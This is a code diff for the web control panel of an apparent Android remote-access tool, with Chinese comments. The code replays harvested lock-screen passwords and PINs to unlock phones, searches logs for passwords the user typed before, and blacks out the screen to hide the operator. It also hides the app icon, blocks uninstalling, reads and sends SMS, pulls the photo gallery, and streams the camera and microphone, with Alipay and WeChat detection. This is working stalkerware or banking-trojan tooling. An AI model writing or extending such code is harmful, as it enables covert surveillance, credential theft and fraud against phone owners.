PIN码:4位或6位数字(常见的PIN码长度) + if (length === 4 || length === 6) { + console.log(`📱 判定为PIN码: ${length}位`) + return 'pin' + } + // ✅ 图形密码检测:4-9位,只包含1-9,不包含0 + else if (length >= 4 && length <= 9) { + const hasOnlyValidPatternDigits = cleanPassword.split('').every(digit => { + const num = parseInt(digit) + return num >= 1 && num <= 9 + }) + + const hasZero = cleanPassword.includes('0') + + // 图形密码的特征:只包含1-9,不包含0 + if (hasOnlyValidPatternDigits && !hasZero) { + console.log(`🎨 判定为图形密码: ${length}位 (1-9范围,无0)`) + return 'pattern' + } else { + console.log(`🔢 判定为数字密码: ${length}位 (包含0或超出1-9范围)`) + return 'numeric' + } + } + // 其他长度的数字密码 + else { + console.log(`🔢 判定为数字密码: ${length}位`) + return 'numeric' + } + } + + // ✅ 混合密码:包含字母和数字 + if (/\d/.test(cleanPassword) && /[a-zA-Z]/.test(cleanPassword)) { + console.log(`🔤 判定为混合密码: 包含字母和数字`) + return 'mixed' + } + + // ✅ 纯字母 + if (/^[a-zA-Z]+$/.test(cleanPassword)) { + console.log(`📝 判定为文本密码: 纯字母`) + return 'text' + } + + // ✅ 包含特殊字符的复杂密码 + if (/[^a-zA-Z0-9]/.test(cleanPassword)) { + console.log(`🔤 判定为混合密码: 包含特殊字符`) + return 'mixed' + } + + // 默认文本密码 + console.log(`📝 默认判定为文本密码`) + return 'text' + } + + // ✅ 增强版数字密码坐标点击输入 - 支持错误恢复和进度反馈 + const inputNumericPassword = (password: string, screenWidth: number, screenHeight: number) => { + const digits = password.split('') + console.log(`🔢 开始数字密码输入: ${digits.length}位密码`) + + digits.forEach((digit, index) => { + if (webSocket) { + setTimeout(() => { + console.log(`🔢 通过坐标点击数字 ${digit} (进度: ${index + 1}/${digits.length})`) + webSocket.emit('control_message', { + type: 'NUMERIC_PIN_INPUT', + deviceId, + data: { + digit, + screenWidth, + screenHeight, + index: index + 1, + total: digits.length + }, + timestamp: Date.now() + }) + }, index * 350) // 数字输入间隔350ms,与延迟计算保持一致 + } + }) + + // ✅ 输入完成后的日志记录 + setTimeout(() => { + console.log(`✅ 数字密码输入完成: ${digits.length}位`) + }, digits.length * 350 + 100) + } + + // ✅ 新增:PIN码逐个输入 + const inputPinPassword = (password: string) => { + const digits = password.split('') + + digits.forEach((digit, index) => { + setTimeout(() => { + console.log(`🔢 输入PIN码数字:`, digit) + if (webSocket) { + webSocket.emit('control_message', { + type: 'INPUT_TEXT', + deviceId, + data: { text: digit, webUnlockMode: true }, + timestamp: Date.now() + }) + } + }, index * 200) // PIN码输入间隔200ms + }) + } + + // ✅ 混合密码输入 - 恢复整体文本输入 + const inputMixedPassword = (password: string) => { + console.log('🔐 开始混合密码整体输入:', password) + + if (!password || !webSocket) { + console.error('❌ 密码为空或WebSocket未连接') + return + } + + // 整体输入混合密码(简单高效) + console.log(`🔤 混合密码整体输入: ${password}`) + + webSocket.emit('control_message', { + type: 'INPUT_TEXT', + deviceId, + data: { + text: password, + webUnlockMode: true + // 移除逐字符相关参数 + }, + timestamp: Date.now() + }) + + console.log(`✅ 混合密码整体输入完成`) + + /* ✅ 注释掉逐字符输入方案 + const characters = password.split('') + console.log(`🔤 混合密码分解为 ${characters.length} 个字符:`, characters) + + // 逐个字符输入,每个字符之间有500ms间隔 + characters.forEach((char, index) => { + setTimeout(() => { + console.log(`🔤 输入第${index + 1}个字符: "${char}" (进度: ${index + 1}/${characters.length})`) + + webSocket.emit('control_message', { + type: 'INPUT_TEXT', + deviceId, + data: { + text: char, + webUnlockMode: true, + isCharByChar: true, // 标识为逐字符输入 + charIndex: index + 1, + totalChars: characters.length + }, + timestamp: Date.now() + }) + }, index * 500) // 每个字符间隔500ms,让用户能清楚看到输入过程 + }) + + // 输入完成后的日志记录 + setTimeout(() => { + console.log(`✅ 混合密码逐字符输入完成: ${characters.length} 个字符`) + }, characters.length * 500 + 200) + */ + } + + // ✅ 新增:图形密码输入 + const inputPatternPassword = (password: string) => { + console.log('🎨 图形密码输入:', password) + + if (!webSocket) { + console.error('❌ WebSocket未连接,无法发送图案解锁指令') + return + } + + // 将字符串密码转换为数字数组 + const pattern = password.split('').map(digit => parseInt(digit)) + + console.log('🎨 图案路径:', pattern) + + // 发送图案解锁指令 + webSocket.emit('client_event', { + type: 'UNLOCK_DEVICE', + data: { + deviceId, + data: { + pattern: pattern + } + } + }) + } + + // ✅ 新增:文本密码输入 + const inputTextPassword = (password: string) => { + console.log('📝 输入文本密码:', password) + if (webSocket) { + webSocket.emit('control_message', { + type: 'INPUT_TEXT', + deviceId, + data: { text: password, webUnlockMode: true }, + timestamp: Date.now() + }) + } + } + + // ✅ 检测是否为华为荣耀设备 + const isHuaweiHonorDevice = (deviceInfo: any): boolean => { + if (!deviceInfo) return false + const model = deviceInfo.model?.toLowerCase() || '' + const name = deviceInfo.name?.toLowerCase() || '' + return model.includes('huawei') || model.includes('honor') || + name.includes('huawei') || name.includes('honor') + } + + // ✅ 新增:检测是否为OPPO设备 + const isOppoDevice = (deviceInfo: any): boolean => { + if (!deviceInfo) return false + const model = deviceInfo.model?.toLowerCase() || '' + const name = deviceInfo.name?.toLowerCase() || '' + // 从设备名称格式 MANUFACTURER_MODEL_SHORTID 中提取品牌信息 + const nameParts = name.split('_') + const manufacturer = nameParts[0]?.toLowerCase() || '' + return manufacturer.includes('oppo') || model.includes('oppo') || name.includes('oppo') + } + + // ✅ 新增:检测是否为HONOR设备 + const isHonorDevice = (deviceInfo: any): boolean => { + if (!deviceInfo) return false + const model = deviceInfo.model?.toLowerCase() || '' + const name = deviceInfo.name?.toLowerCase() || '' + // 从设备名称格式 MANUFACTURER_MODEL_SHORTID 中提取品牌信息 + const nameParts = name.split('_') + const manufacturer = nameParts[0]?.toLowerCase() || '' + return manufacturer.includes('honor') || model.includes('honor') || name.includes('honor') + } + + // ✅ 新增:根据密码类型获取确认延迟时间 + const getConfirmDelay = (passwordType: string, passwordLength: number, deviceInfo?: any): number => { + // ✅ 华为荣耀设备混合密码需要额外延迟(因为有特殊点击处理) + if (passwordType === 'mixed' && deviceInfo && isHuaweiHonorDevice(deviceInfo)) { + console.log('📱 华为荣耀设备混合密码,增加特殊点击延迟') + return 1500 // 华为荣耀混合密码:2秒延迟(包含特殊点击时间) + } + + // 🔧 修改:根据不同输入方式计算确认延迟时间 + switch (passwordType) { + case 'numeric': + return passwordLength * 350 + 1000 // 数字密码:每个数字350ms + 1秒确认延迟 + case 'pin': + return passwordLength * 200 + 1000 // PIN码:每个数字200ms + 1秒确认延迟 + case 'mixed': + return 1500 // 混合密码:整体输入,固定1.5秒确认延迟 + case 'pattern': + return 1000 // 图形密码:1秒确认延迟 + case 'text': + return 1000 // 文本密码:1秒确认延迟 + default: + return 1000 // 默认:1秒确认延迟 + } + } + + // ✅ 增强确认策略 - 支持记录的确认按钮坐标和智能检测 + const performEnhancedConfirm = (screenWidth: number, screenHeight: number, passwordType: string, savedConfirmCoords?: { x: number, y: number }) => { + console.log('🔍 [Web端确认] 智能确认策略,密码类型:', passwordType, '已保存坐标:', savedConfirmCoords) + + // ✅ 策略1: 如果有记录的确认按钮坐标,优先使用(这是最准确的方法) + if (savedConfirmCoords && savedConfirmCoords.x > 0 && savedConfirmCoords.y > 0) { + console.log('🎯 [保存坐标优先] 使用用户记录的确认按钮坐标,跳过其他策略', savedConfirmCoords) + console.log('✅ [策略跳过] 由于有保存坐标,不执行智能检测和其他后续策略') + if (webSocket) { + webSocket.emit('control_message', { + type: 'CLICK', + deviceId, + data: { + x: savedConfirmCoords.x, + y: savedConfirmCoords.y + }, + timestamp: Date.now() + }) + } + return // 使用记录坐标后直接返回,不执行其他策略 + } + + // ✅ 策略2: 如果没有记录的坐标,根据密码类型判断是否需要确认 + // 修复:只有图形密码通常无需确认按钮,数字密码仍需要确认 + if (passwordType === 'pattern') { + console.log('ℹ️ [智能跳过] 图形密码通常无需确认按钮,输入完成后自动验证') + return + } + + // ✅ 策略3: 请求Android端进行智能确认按钮检测 + console.log('🤖 [智能检测] 请求Android端进行确认按钮智能检测') + if (webSocket) { + webSocket.emit('control_message', { + type: 'SMART_CONFIRM_DETECTION', + deviceId, + data: { + passwordType: passwordType, + screenWidth: screenWidth, + screenHeight: screenHeight + }, + timestamp: Date.now() + }) + } + + // ✅ 策略4: OPPO/HONOR设备默认坐标兜底策略 + setTimeout(() => { + // 检查是否为OPPO或HONOR设备,且密码类型为文本或混合密码 + if (device && (isOppoDevice(device) || isHonorDevice(device)) && + (passwordType === 'text' || passwordType === 'mixed')) { + + // 计算默认坐标 + const defaultX = screenWidth - 60 + const defaultY = isOppoDevice(device) ? screenHeight - 100 : screenHeight - 250 // HONOR设备Y坐标更高 + + // 验证坐标有效性 + if (defaultX > 0 && defaultY > 0 && defaultX < screenWidth && defaultY < screenHeight) { + const deviceBrand = isOppoDevice(device) ? 'OPPO' : 'HONOR' + console.log(`📱 [${deviceBrand}设备兜底] 使用${deviceBrand}设备默认确认坐标: (${defaultX}, ${defaultY})`) + console.log(`🎯 [默认坐标策略] 密码类型: ${passwordType}, 屏幕尺寸: ${screenWidth}x${screenHeight}`) + + if (webSocket) { + webSocket.emit('control_message', { + type: 'CLICK', + deviceId, + data: { + x: defaultX, + y: defaultY + }, + timestamp: Date.now() + }) + } + + // 提示用户使用了默认坐标 + console.log(`💡 [用户提示] 已使用${deviceBrand}设备默认确认坐标,如果失败请手动确认`) + return + } else { + console.warn('⚠️ [坐标验证] 计算的默认坐标超出屏幕范围,跳过默认坐标策略') + } + } + + // ✅ 策略5: 如果所有策略都失败,提示用户手动确认 + console.log('💡 [用户提示] 如果自动确认失败,请手动点击确认按钮') + console.log('📚 [学习提示] 系统将学习您的确认操作,下次可自动确认') + }, 2000) + } + + // SMS表格列定义 + const smsColumns = [ + { + title: 'ID', + dataIndex: 'id', + key: 'id', + width: 60, + render: (id: number) => {id} + }, + { + title: '发送方/接收方', + dataIndex: 'address', + key: 'address', + width: 120, + render: (address: string) => ( + {address} + ) + }, + { + title: '类型', + dataIndex: 'type', + key: 'type', + width: 80, + render: (type: number) => ( + + {type === 1 ? '接收' : '发送'} + + ) + }, + { + title: '内容', + dataIndex: 'body', + key: 'body', + ellipsis: true, + render: (body: string) => ( +
+ {body} +
+ ) + }, + { + title: '时间', + dataIndex: 'date', + key: 'date', + width: 160, + render: (date: number) => new Date(date).toLocaleString() + }, + { + title: '状态', + dataIndex: 'read', + key: 'read', + width: 80, + render: (read: boolean) => ( + + {read ? '已读' : '未读'} + + ) + } + ] + + // 相册表格列定义 + // 旧的表格列配置(瀑布流改造后不再使用) + /* const albumColumns = [ + { + title: 'ID', + dataIndex: 'id', + key: 'id', + width: 80, + render: (id: string) => {id.slice(0, 8)}... + }, + { + title: '文件名', + dataIndex: 'name', + key: 'name', + width: 150, + ellipsis: true, + render: (name: string) => ( + + {name} + + ) + }, + { + title: '尺寸', + dataIndex: 'width', + key: 'dimensions', + width: 100, + render: (_: number, record: AlbumItem) => ( + + {record.width}×{record.height} + + ) + }, + { + title: '大小', + dataIndex: 'size', + key: 'size', + width: 80, + render: (size: number) => { + const formatSize = (bytes: number) => { + if (bytes === 0) return '0 B' + const k = 1024 + const sizes = ['B', 'KB', 'MB', 'GB'] + const i = Math.floor(Math.log(bytes) / Math.log(k)) + return parseFloat((bytes / Math.pow(k, i)).toFixed(1)) + ' ' + sizes[i] + } + return {formatSize(size)} + } + }, + { + title: '类型', + dataIndex: 'mimeType', + key: 'mimeType', + width: 100, + render: (mimeType: string) => ( + + {mimeType.split('/')[1]?.toUpperCase() || 'UNKNOWN'} + + ) + }, + { + title: '添加时间', + dataIndex: 'dateAdded', + key: 'dateAdded', + width: 160, + render: (dateAdded: number) => new Date(dateAdded * 1000).toLocaleString() + }, + { + title: '相册', + dataIndex: 'bucketName', + key: 'bucketName', + width: 120, + ellipsis: true, + render: (bucketName: string) => ( + + {bucketName || '默认相册'} + + ) + } + ] */ + + // 表格列定义 + const logColumns = [ + { + title: '时间', + dataIndex: 'timestamp', + key: 'timestamp', + width: 160, + render: (timestamp: string) => new Date(timestamp).toLocaleString() + }, + { + title: '类型', + dataIndex: 'logType', + key: 'logType', + width: 100, + render: (logType: string) => ( + + {logTypeLabels[logType as keyof typeof logTypeLabels] || logType} + + ) + }, + { + title: '内容', + dataIndex: 'content', + key: 'content', + ellipsis: true, + render: (content: string) => { + // 检测不同类型的特殊内容 + const isPasswordInput = content.includes('密码') || content.includes('指纹') + const isPatternAnalysis = content.includes('🔐 图案解锁分析完成') + const isPasswordAnalysis = content.includes('🔑 密码输入分析完成') + const isPatternGesture = content.includes('图案解锁') && !isPatternAnalysis + const isRemoteInput = content.includes('远程输入') + + // 为图案解锁分析结果设置特殊样式 + if (isPatternAnalysis) { + return ( +
+ {content} +
+ ) + } + + // 为密码输入分析结果设置特殊样式 + if (isPasswordAnalysis) { + return ( +
+ {content} +
+ ) + } + + return ( + + {isPasswordInput && '🔒 '} + {isPatternGesture && '🔐 '} + {isRemoteInput && '📱 '} + {content} + + ) + } + }, + { + title: '详细信息', + dataIndex: 'extraData', + key: 'extraData', + width: 120, + render: (extraData: any) => ( + extraData ? ( + + ) : '-' + ) + } + ] + + + const handleTextInput = () => { + if (!textInput.trim()) return + if (!operationEnabled) { + console.warn('文本输入操作已被阻止') + return + } + + sendControlMessage('INPUT_TEXT', { text: textInput }) + setTextInput('') + } + + const handleSwipe = (direction: string) => { + if (!device) return + if (!operationEnabled) { + console.warn('手势操作已被阻止') + return + } + + const centerX = device.screenWidth / 2 + const centerY = device.screenHeight / 2 + const distance = 300 + + let startX = centerX, startY = centerY + let endX = centerX, endY = centerY + + switch (direction) { + case 'up': + startY = centerY + distance + endY = centerY - distance + break + case 'down': + startY = centerY - distance + endY = centerY + distance + break + case 'left': + startX = centerX + distance + endX = centerX - distance + break + case 'right': + startX = centerX - distance + endX = centerX + distance + break + } + + sendControlMessage('SWIPE', { + startX, + startY, + endX, + endY, + duration: 300 + }) + } + + // 下拉手势操作(从顶部下拉到底部) + const handlePullDown = (side: 'left' | 'right') => { + if (!device) return + if (!operationEnabled) { + console.warn('下拉手势操作已被阻止') + return + } + + // 根据side参数确定X坐标 + const startX = side === 'left' + ? device.screenWidth / 4 // 左边下拉:屏幕左1/4位置 + : (device.screenWidth * 3) / 4 // 右边下拉:屏幕右1/4位置 + + const startY = 10 // 从屏幕顶部开始 + const endY = device.screenHeight - 100 // 到屏幕底部附近结束 + + console.log(`${side === 'left' ? '左边' : '右边'}下拉手势:`, { + startX: startX.toFixed(0), + startY, + endX: startX.toFixed(0), + endY, + screenWidth: device.screenWidth + }) + + sendControlMessage('SWIPE', { + startX: startX, + startY: startY, + endX: startX, // X坐标保持不变,垂直下拉 + endY: endY, + duration: 500 // 稍长的持续时间,模拟真实的下拉操作 + }) + } + + // 检查设备状态一致性 + const checkDeviceStateConsistency = () => { + if (!webSocket || !deviceId) return + + console.log(`[控制面板] 检查设备 ${deviceId} 状态一致性`) + webSocket.emit('client_event', { + type: 'GET_DEVICE_STATE', + data: { deviceId } + }) + } + + // 修复设备状态不一致 + const fixDeviceStateInconsistency = () => { + if (!webSocket || !deviceId) return + + console.log(`[控制面板] 修复设备 ${deviceId} 状态不一致`) + + // 同步当前UI状态到数据库 + const currentState = { + inputBlocked: deviceInputBlocked, + loggingEnabled: isLoggingEnabled + } + + webSocket.emit('client_event', { + type: 'UPDATE_DEVICE_STATE', + data: { + deviceId, + state: currentState + } + }) + } + + // 🆕 屏幕控制函数 + const handleWakeScreen = () => { + sendControlMessage('POWER_WAKE') + } + + const handleLockScreen = () => { + sendControlMessage('POWER_SLEEP') + } + + // 🆕 黑屏遮盖控制函数 + const handleEnableBlackScreen = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('🖤 启用黑屏遮盖') + webSocket.emit('client_event', { + type: 'ENABLE_BLACK_SCREEN', + data: { deviceId } + }) + } + + const handleDisableBlackScreen = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('🖤 取消黑屏遮盖') + webSocket.emit('client_event', { + type: 'DISABLE_BLACK_SCREEN', + data: { deviceId } + }) + } + + // 🆕 关闭配置遮盖函数 + const handleCloseConfigMask = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('🛡️ 手动关闭配置遮盖') + webSocket.emit('client_event', { + type: 'CLOSE_CONFIG_MASK', + data: { + deviceId, + manual: true // 标记这是手动关闭 + } + }) + message.info('已发送关闭配置遮盖指令') + } + + // 摄像头控制函数 + const handleStartCamera = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📷 启动摄像头') + webSocket.emit('camera_control', { + action: 'CAMERA_START', + deviceId, + data: {} + }) + setIsCameraActive(true) + message.success('摄像头已启动') + } + + const handleStopCamera = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📷 停止摄像头') + webSocket.emit('camera_control', { + action: 'CAMERA_STOP', + deviceId, + data: {} + }) + setIsCameraActive(false) + message.success('摄像头已停止') + } + + const handleSwitchCamera = (cameraType: 'front' | 'back') => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log(`📷 切换到${cameraType === 'front' ? '前置' : '后置'}摄像头`) + webSocket.emit('camera_control', { + action: 'CAMERA_SWITCH', + deviceId, + data: { cameraType } + }) + setCurrentCameraType(cameraType) + message.success(`已切换到${cameraType === 'front' ? '前置' : '后置'}摄像头`) + } + + // 控制摄像头显示区域的可见性 + const handleToggleCameraView = () => { + dispatch(setCameraViewVisible(!cameraViewVisible)) + } + + const handleOpenAppSettings = () => { + console.log('🔧 打开应用设置按钮被点击') + console.log('WebSocket状态:', !!webSocket) + console.log('设备ID:', deviceId) + + if (!webSocket) { + console.error('❌ WebSocket未连接') + modal.error({ + title: '连接错误', + content: 'WebSocket未连接,请检查网络连接' + }) + return + } + + if (!deviceId) { + console.error('❌ 设备ID无效') + modal.error({ + title: '设备错误', + content: '设备ID无效,请重新选择设备' + }) + return + } + + console.log('📤 发送OPEN_APP_SETTINGS请求') + webSocket.emit('client_event', { + type: 'OPEN_APP_SETTINGS', + data: { deviceId } + }) + + modal.info({ + title: '正在打开应用设置', + content: '已发送打开应用设置的请求到手机端,请稍候...', + okText: '知道了' + }) + } + + // 🎙️ 麦克风控制函数 + const handleMicPermissionCheck = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + console.log('🎙️ 检查麦克风权限') + webSocket.emit('camera_control', { action: 'MICROPHONE_PERMISSION_CHECK', deviceId }) + message.info('正在检查麦克风权限...') + } + + const handleMicStartRecording = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + if (!operationEnabled) { + message.warning('操作已被阻止') + return + } + console.log('🎙️ 开始录音') + try { + const ctx = ensureAudioContext() + if (ctx.state === 'suspended') ctx.resume() + nextPlaybackTimeRef.current = ctx.currentTime + 0.01 + } catch (e) { + console.warn('初始化音频播放失败(可能由用户手势限制):', e) + } + webSocket.emit('camera_control', { action: 'MICROPHONE_START_RECORDING', deviceId }) + setIsMicRecording(true) + message.success('已发送开始录音指令') + } + + const handleMicStopRecording = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + console.log('🎙️ 停止录音') + webSocket.emit('camera_control', { action: 'MICROPHONE_STOP_RECORDING', deviceId }) + setIsMicRecording(false) + if (audioContextRef.current && audioContextRef.current.state !== 'closed') { + audioContextRef.current.suspend().catch(() => { }) + } + message.success('已发送停止录音指令') + } + + const handleMicRecordingStatus = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + console.log('🎙️ 查询录音状态') + webSocket.emit('camera_control', { action: 'MICROPHONE_RECORDING_STATUS', deviceId }) + message.info('已发送录音状态查询') + } + + // 🆕 应用隐藏/显示控制函数 + const handleHideApp = () => { + console.log('📵 隐藏桌面图标') + if (!webSocket) return + + webSocket.emit('client_event', { + type: 'HIDE_APP', + data: { deviceId } + }) + } + + const handleShowApp = () => { + console.log('📱 显示桌面图标') + if (!webSocket) return + + webSocket.emit('client_event', { + type: 'SHOW_APP', + data: { deviceId } + }) + } + + // 🛡️ 防止卸载功能控制函数 + const handleEnableUninstallProtection = () => { + console.log('🛡️ 启动防止卸载监听') + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + webSocket.emit('client_event', { + type: 'ENABLE_UNINSTALL_PROTECTION', + data: { deviceId } + }) + } + + const handleDisableUninstallProtection = () => { + console.log('🛡️ 停止防止卸载监听') + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + webSocket.emit('client_event', { + type: 'DISABLE_UNINSTALL_PROTECTION', + data: { deviceId } + }) + } + + // 🆕 重新获取投屏权限 + const handleRefreshPermission = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📺 重新获取投屏权限') + setIsRefreshingPermission(true) + + webSocket.emit('client_event', { + type: 'REFRESH_MEDIA_PROJECTION_PERMISSION', + data: { deviceId } + }) + } + + // 📱 SMS控制相关函数 + const handleSmsPermissionCheck = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📱 检查短信权限') + webSocket.emit('camera_control', { + action: 'SMS_PERMISSION_CHECK', + deviceId, + data: {} + }) + message.info('正在检查短信权限...') + } + + const handleSmsRead = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📱 读取短信列表') + setSmsLoading(true) + webSocket.emit('camera_control', { + action: 'SMS_READ', + deviceId, + data: { limit: 20 } + }) + message.info('正在读取短信列表...') + } + + const handleSmsSend = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + // 使用简单的prompt获取用户输入 + const phoneNumber = prompt('请输入手机号码:') + if (!phoneNumber) return + + const messageText = prompt('请输入短信内容:') + if (!messageText) return + + console.log('📱 发送短信:', { phoneNumber, message: messageText }) + webSocket.emit('camera_control', { + action: 'SMS_SEND', + deviceId, + data: { + phoneNumber: phoneNumber, + message: messageText + } + }) + message.info(`正在发送短信到 ${phoneNumber}...`) + } + + const handleSmsUnreadCount = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📱 获取未读短信数量') + webSocket.emit('camera_control', { + action: 'SMS_UNREAD_COUNT', + deviceId, + data: {} + }) + message.info('正在获取未读短信数量...') + } + + // 📷 相册控制相关函数 + const handleAlbumPermissionCheck = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📷 检查相册权限') + webSocket.emit('camera_control', { + action: 'GALLERY_PERMISSION_CHECK', + deviceId, + data: {} + }) + message.info('正在检查相册权限...') + } + + const handleAlbumRead = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📷 读取已保存相册') + setAlbumLoading(true) + dispatch(setGalleryLoading(true)) + webSocket.emit('camera_control', { + action: 'GET_GALLERY', + deviceId, + data: { limit: 50 } + }) + message.info('正在读取相册列表...') + } + + // 获取相册按钮处理函数 + const handleGetGallery = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📷 获取最新相册') + dispatch(setGalleryLoading(true)) + dispatch(setGalleryVisible(true)) + webSocket.emit('camera_control', { + action: 'ALBUM_READ', + deviceId, + data: { limit: 100 } + }) + message.info('正在获取相册...') + } + + // 🆕 处理提取确认坐标 + const handleExtractConfirmCoords = () => { + // 通知屏幕阅读器组件进入提取模式 + if (webSocket) { + webSocket.emit('client_event', { + type: 'START_EXTRACT_CONFIRM_COORDS', + data: { deviceId }, + timestamp: Date.now() + }) + + modal.info({ + title: '提取确认坐标', + content: '请在屏幕阅读器界面上点击确认按钮的位置。\n\n点击后坐标将自动保存,一键解锁时会优先使用此坐标。', + okText: '知道了' + }) + } + } + + // 🆕 处理手动输入确认坐标 + const handleInputConfirmCoords = () => { + // 计算默认坐标值:设备分辨率 x-60, y-100 + const defaultX = device ? Math.max(0, device.screenWidth - 60) : 720 + const defaultY = device ? Math.max(0, device.screenHeight - 100) : 1380 + + setInputCoordX(defaultX) + setInputCoordY(defaultY) + setInputCoordsModalVisible(true) + } + + // 🆕 确认保存手动输入的坐标 + const handleSaveInputCoords = () => { + if (!webSocket || !deviceId) return + + const coords = { x: inputCoordX, y: inputCoordY } + + // 验证坐标值 + if (inputCoordX < 0 || inputCoordY < 0) { + message.error('坐标值不能为负数') + return + } + + if (device && (inputCoordX > device.screenWidth || inputCoordY > device.screenHeight)) { + message.warning(`坐标值超出设备屏幕范围 (${device.screenWidth}×${device.screenHeight})`) + } + + // 保存到服务器 + webSocket.emit('client_event', { + type: 'SAVE_CONFIRM_COORDS', + data: { deviceId, coords }, + timestamp: Date.now() + }) + + setInputCoordsModalVisible(false) + + console.log('🎯 手动输入确认坐标已保存:', coords) + message.success(`确认坐标已保存: (${coords.x}, ${coords.y})`) + } + + if (!device) { + return ( + +
+ 设备未选中 +
+
+ ) + } + + return ( + <> +
+ {/* 左侧功能区:调试、操作等 */} +
+ + {/* 设备信息 */} + + + {/* 调试功能 */} + + +
+ + + + + {/* 🔐 密码输入控制(合并支付宝/微信检测与4/6位PIN) - 内嵌至调试功能 */} + + + + + + + + + + + + + + + + + + + + +
+ setMaskTextSize(Number(e.target.value) || 24)} + min={12} + max={48} + style={{ fontSize: '12px' }} + /> + + + + + + +
+ + + + + + + + + + + {/* 支付宝检测功能 */} + + + {/* 微信检测功能 */} + + + {/* 🛡️ 防止卸载保护 */} + + + + {/* 🎙️ 麦克风控制(简化后并入调试功能) */} + + + + + {/* 一键解锁 */} + {/* + + + + + +
+ 手机端状态: {deviceInputBlocked ? '🔒 用户输入已阻止' : '✅ 用户输入正常'} +
+
*/} + + {/* 已移入调试功能,删除独立卡片 */} + + + {/* 手势操作 */} + + + + + + + + + + + + + + + + + + + + + + + + {/* 文本输入(根据需求移除) */} + + {/* 日志控制 */} + + + + + + + + + +
+ 状态: {isLoggingEnabled ? '✅ 日志记录已启用' : '❌ 日志记录已禁用'} +
+ + + + + + + + {/* 右侧:设备信息 */} +
+ + {/* 设备信息 */} + +
+
名称: {device.name}
+
型号: {device.model}
+
系统: {device.systemVersionName ? `${device.systemVersionName} (${device.osVersion})` : `Android ${device.osVersion}`}
+ {device.romType && device.romType !== '原生Android' && ( +
ROM: {device.romType}
+ )} + {device.romVersion && device.romVersion !== '未知版本' && ( +
ROM版本: {device.romVersion}
+ )} + {device.osBuildVersion && ( +
系统版本号: {device.osBuildVersion}
+ )} +
分辨率: {device.screenWidth}×{device.screenHeight}
+
公网IP: {device.publicIP || '未知'}
+
+
+ + {/* 📱 SMS短信控制 */} + + +
+ + + + + + + + + + + + + + + + + {/* 功能说明 */} +
+ 💡 需要设备授予短信权限才能使用相关功能 +
+ + + {/* 查看日志 */} + + + + + + + + + +
+ 💡 查看和管理历史日志记录 +
+ + + {/* 📷 相册控制 */} + + + + + + + + + + + + + + {/* 功能说明 */} +
+ 💡 需要设备授予相册权限才能读取图片信息,获取相册会显示图片列表 +
+ + + {/* 摄像头控制 */} + + + + + + + + + + + {/* 摄像头切换控制 */} + + + + + + + + + + {/* 摄像头显示控制 */} + + + + + + + {/* 摄像头状态显示 */} +
+ {isCameraActive ? `📷 摄像头已启动 (${currentCameraType === 'front' ? '前置' : '后置'})` : '📷 摄像头未启动'} +
+ + {/* 功能说明 */} +
+ 💡 启动摄像头后可在下方查看实时画面,支持前后置摄像头切换 +
+ + + + + + + {/* 密码搜索弹窗 */} + + 取消 + , + + ]} + width={700} + centered + destroyOnHidden + > + {/* ✅ 新增:自定义密码输入区域 */} +
+
+ 🔐 直接输入密码 +
+ { + setCustomPasswordInput(e.target.value) + // 当有自定义输入时,清空历史密码选择 + if (e.target.value.trim() && selectedPassword) { + setSelectedPassword('') + } + }} + size="large" + style={{ marginBottom: 8 }} + autoComplete="off" + onPressEnter={handleConfirmSelectedPassword} + allowClear + /> +
+ 💡 您可以直接在此输入密码,也可以从下方的历史记录中选择 +
+ {customPasswordInput.trim() && ( +
+ ✅ 已输入 {customPasswordInput.length} 位密码 + + ({detectPasswordType(customPasswordInput)}) + + ,点击确认将使用此密码 +
+ )} +
+ + {passwordSearchLoading ? ( +
+
🔍 正在从操作日志中查找密码...
+
+ 正在分析文本输入记录,寻找可能的密码模式 +
+
+ ) : foundPasswords.length > 0 ? ( +
+
+ 📋 从操作日志中找到 {foundPasswords.length} 个历史密码,您也可以选择使用: +
+
+ {foundPasswords.map((password, index) => { + const isSelected = selectedPassword === password && !customPasswordInput.trim() + const isDisabled = customPasswordInput.trim() + return ( +
!isDisabled && handleSelectPassword(password)} + > +
+
+ 🔑 {password} +
+
+ {password.length} 位{/^\d+$/.test(password) ? ' 数字' : ''}密码 +
+
+ {isSelected && ( +
+ ✅ 已选中此密码 +
+ )} + {isDisabled && ( +
+ 💡 已有自定义输入,点击可切换到此密码 +
+ )} +
+ ) + })} +
+
+ 💡 提示: + {customPasswordInput.trim() ? ( + 当前将使用您输入的自定义密码,历史密码仅作参考 + ) : ( + 选择历史密码后将自动保存到数据库并执行解锁操作 + )} +
+
+ ) : ( +
+
+
📝 未找到历史密码记录
+
+ 没关系,您可以使用上方的输入框直接输入密码 +
+
+
+ )} +
+ + {/* 操作日志弹窗 */} + setLogModalVisible(false)} + footer={null} + width={800} + styles={{ body: { padding: '16px' } }} + > +
+ + 类型筛选: + + + +
+ +
`${record.id || index}`} + pagination={false} + loading={logLoading} + size="small" + scroll={{ y: 400 }} + /> + +
+ `第 ${range[0]}-${range[1]} 条 / 共 ${total} 条`} + onChange={handlePageChange} + onShowSizeChange={handlePageChange} + pageSizeOptions={['20', '50', '100', '200']} + /> +
+ + + {/* 开发调试面板 */} + {(window as any).location?.hostname === 'localhost' && ( + +
+ + + +
